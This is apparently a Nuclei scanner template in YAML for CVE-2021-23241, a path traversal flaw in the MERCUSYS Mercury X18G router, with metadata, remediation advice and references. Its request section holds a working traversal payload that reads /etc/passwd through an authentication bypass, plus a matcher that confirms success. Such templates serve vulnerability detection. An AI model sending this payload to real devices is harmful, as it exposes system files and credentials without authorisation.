46 lines
1.8 KiB
YAML
46 lines
1.8 KiB
YAML
id: CVE-2021-23241
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info:
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name: MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion
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author: daffainfo
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severity: medium
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description: MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.
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impact: |
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An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the router.
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remediation: |
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Apply the latest firmware update provided by the vendor to fix the LFI vulnerability and ensure proper input validation is implemented.
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reference:
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- https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md
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- https://www.mercusys.com/en/
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- https://www.mercurycom.com.cn/product-521-1.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-23241
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score: 5.3
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cve-id: CVE-2021-23241
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cwe-id: CWE-22
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epss-score: 0.00365
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epss-percentile: 0.69502
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cpe: cpe:2.3:o:mercusys:mercury_x18g_firmware:1.0.5:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: mercusys
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product: mercury_x18g_firmware
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tags: cve2021,cve,iot,lfi,router,mercusys
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http:
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- method: GET
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path:
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- "{{BaseURL}}/loginLess/../../etc/passwd"
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matchers-condition: and
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matchers:
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- type: regex
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part: body
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regex:
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- "root:.*:0:0:"
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- type: status
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status:
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- 200
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# digest: 4a0a0047304502207a7077cb4fde8ff0884920b79e64ddd5ee26c8939ddf180b6f24fdb21f3bc5040221009f400da975c6e7917bc61dab2de1c86ae6e4e3a84d0647d78f23d04d80da37a1:922c64590222798bb761d5b6d8e72950 |